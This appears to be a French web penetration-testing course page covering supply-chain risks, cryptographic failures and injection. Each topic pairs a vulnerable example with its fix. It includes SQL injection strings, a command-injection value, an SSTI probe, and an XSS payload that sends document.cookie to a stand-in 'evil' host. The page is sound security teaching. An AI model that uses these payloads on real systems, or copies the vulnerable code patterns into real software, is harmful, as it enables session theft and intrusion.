2026-11-03 — Dépendances, crypto et injection

Contexte

Matière : _Test d’intrusion web · Type : cours (Jour 2/3) · Source : support ESIEA_Audit_Web_Jour2 Précédent : 2026-11-02 — Contrôle d’accès et mauvaises configurations Suite : 2026-11-04 — Design, authentification et robustesse

🎯 Objectifs de la séance

  • Comprendre les risques de la chaîne d’approvisionnement logicielle (A03) : dépendances, registres, CI/CD.
  • Identifier les défaillances cryptographiques (A04) : hachage des mots de passe, secrets en dur, transport.
  • Exploiter et corriger les injections (A05) : SQL, NoSQL, XSS, commandes, SSTI.

Partie 1 — A03 Software Supply Chain Failures

Définition (nouveauté 2025)

Le risque ne vient plus seulement de votre code, mais de vos dépendances, de vos registres et de votre chaîne CI/CD. Impact : exécution de code dès l’installation ou le build, bien avant la prod.

  • Dépendances vulnérables ou obsolètes (npm, pip, Maven…).
  • Typosquatting & dependency confusion : un paquet malveillant prend la place du bon.
  • CI/CD compromise : build, actions tierces, runners, secrets exfiltrés.
  • Absence d’inventaire : pas de lockfile, pas de SBOM, pas de signatures.

Dépendances vulnérables & confusion de paquets

💥 Problème🛡 Correction
Dépendance obsolète avec CVE connue (ex. lodash 4.17.4)verrouiller (npm ci respecte le lockfile) et auditer (npm audit, pip-audit)
Dependency confusion : @maboite/utils introuvable en interne → npm tire la version publique (malveillante) du même nomregistre interne + scope, bloquer la résolution publique, générer un SBOM (CycloneDX)

Pipeline CI/CD compromis

Un workflow qui exécute du contenu contrôlé par l’extérieur (titre de PR, nom de branche, action tierce non épinglée) peut être détourné pour voler des secrets ou injecter du code.

# 💥 GitHub Actions : le titre (contrôlé par l'attaquant) est interpolé dans le shell
run: |
  echo "${{ github.event.issue.title }}"
 
# 🛡 Passer par une variable d'environnement
env:
  T: ${{ github.event.issue.title }}
run: echo "$T"
# + épingler les actions au SHA
# + permissions minimales, secrets non exposés aux PR externes

Pratique

Pas de lab PortSwigger pour A03. S’entraîner avec npm audit / pip-audit sur un projet volontairement obsolète, et un dépôt GitHub de test (action non épinglée) en bac à sable.


Partie 2 — A04 Cryptographic Failures

Définition

La donnée sensible finit exposée à cause d’un mauvais stockage, de secrets en dur, d’un transport faible ou d’un aléa prévisible. Règle : la crypto ne s’invente pas, on utilise des primitives éprouvées et bien configurées.

  • Mots de passe stockés en clair ou hachés en MD5 / SHA1 (rapides, cassables).
  • Secrets en dur dans le code ou les dépôts (clés API, clé de session, mots de passe).
  • Transport faible : HTTP, TLS obsolète, chiffrements dépréciés.
  • Aléa prévisible : tokens / identifiants de session devinables.

Hachage des mots de passe

MD5 / SHA1 sont rapides : un attaquant teste des milliards de candidats par seconde. Il faut un hachage lent et salé, conçu pour les mots de passe.

# 💥 MD5 : rapide, sans sel → cassable hors ligne
import hashlib
h = hashlib.md5(pwd.encode()).hexdigest()
 
# 🛡 bcrypt (ou argon2id) : lent + sel intégré
import bcrypt
h = bcrypt.hashpw(pwd.encode(), bcrypt.gensalt())

Secrets en dur & transport faible

// 💥 config.js : identifiants et clé JWT commités dans le dépôt
const db = connect({ host: "db.interne", user: "admin", pwd: "P@ssw0rd!" })
const JWT = "secret123"
 
// 🛡 Hors du code : variables d'environnement ou coffre à secrets
const db = connect({
  host: process.env.DB_HOST,
  user: process.env.DB_USER,
  pwd:  process.env.DB_PASS,
})
// + HTTPS partout, TLS ≥ 1.2, HSTS

Règle

Aucun secret dans le code (variables d’environnement / coffre), et tout le transport en HTTPS.


Partie 3 — A05 Injection

Définition

Une entrée utilisateur est interprétée comme du code par un moteur en aval. C’est la catégorie la plus fournie et la plus pratiquée. Principe de correction unique : séparer les données du code (paramétrage, échappement).

TypeMoteur visé
SQL / NoSQLbase de données
XSSnavigateur d’une autre victime
Injection de commandesshell du serveur
SSTImoteur de templates

Injection SQL

Une entrée insérée directement dans une requête SQL en modifie la logique : contourner une authentification, extraire des données, parfois lire des fichiers ou exécuter des commandes.

TechniqueCharge
Login bypass' OR '1'='1' --
UNION' UNION SELECT username,password FROM users --
Aveugle (blind)déduire la donnée via vrai / faux ou le temps de réponse
Détectionguillemet, erreur SQL, comportement différent selon l’entrée
// 💥 Concaténation : l'entrée devient du code SQL
$u = $_GET["user"];
$db->query("SELECT * FROM users WHERE name = '$u'");
 
// 🛡 Requête paramétrée : données ≠ code
$stmt = $db->prepare("SELECT * FROM users WHERE name = ?");
$stmt->execute([$_GET["user"]]);

Règle

Toujours des requêtes paramétrées, jamais de concaténation. Même principe pour le NoSQL (ne pas laisser passer d’opérateurs comme $ne, $gt venant du client).

XSS — Cross-Site Scripting

Du HTML/JS contrôlé par l’attaquant est rendu dans le navigateur d’une victime. Impact : vol de session, actions au nom de la victime.

TypeOù vit la chargeExemple
Réfléchidans l’URL?q=<script>fetch("//evil/"+document.cookie)</script>
Stockéen base (commentaire, profil), rejoué à chaque visitecommentaire piégé
DOMcôté client (innerHTML, eval), sans aller-retour serveurlocation.search → document.write
// 💥 Rendu non échappé
res.send(`<p>Bonjour ${req.query.name}</p>`)   // ?name=<script>…</script>
el.innerHTML = userInput                         // côté client
 
// 🛡 Correction
res.render("hi", { name: req.query.name })      // auto-escape du moteur de templates
el.textContent = userInput                       // côté client
// + Content-Security-Policy + cookies HttpOnly

Règle

Échapper en sortie selon le contexte + CSP ; côté client, textContent plutôt que innerHTML.

Injection de commandes

Une entrée passée à un shell permet d’exécuter des commandes système. Enchaînement avec ; | &&, substitution $(...), exfiltration via DNS / HTTP.

// 💥 ?ip=8.8.8.8;id  → exécute id
system("ping -c1 " . $_GET["ip"]);
 
// 🛡 Valider + échapper (mieux : éviter le shell)
$ip = $_GET["ip"];
if (!filter_var($ip, FILTER_VALIDATE_IP)) exit;
system("ping -c1 " . escapeshellarg($ip));

Variante aveugle

Sans retour visible, on détecte l’injection par un délai (; sleep 10) : c’est le lab Blind OS command injection with time delays.

SSTI — Server-Side Template Injection

Quand une entrée est concaténée au template au lieu d’être passée en variable, le moteur l’évalue, jusqu’à l’exécution de code côté serveur.

Jinja2 : {{ 7*7 }} → 49, puis accès aux objets Python → RCE
# 💥 L'entrée fait partie du template
from flask import render_template_string
tpl = "Bonjour " + name
return render_template_string(tpl)         # name = {{7*7}} est évalué
 
# 🛡 L'entrée est une variable du template
return render_template_string("Bonjour {{ name }}", name=name)
# ou moteur sans logique (logic-less)

🧪 Labs du jour

Voir Labs PortSwigger — Test d’intrusion web (A04 : reprend des labs déjà listés ; A05 : 10 labs).

✅ À retenir

  • A03 (nouveau) : lockfile + audit + SBOM ; en CI, jamais d’interpolation de données externes dans run:, actions épinglées au SHA.
  • A04 : bcrypt / argon2id pour les mots de passe, aucun secret dans le code, HTTPS + HSTS.
  • A05 : une seule règle, séparer données et code : requêtes paramétrées, échappement contextuel + CSP, pas de shell, entrée = variable de template.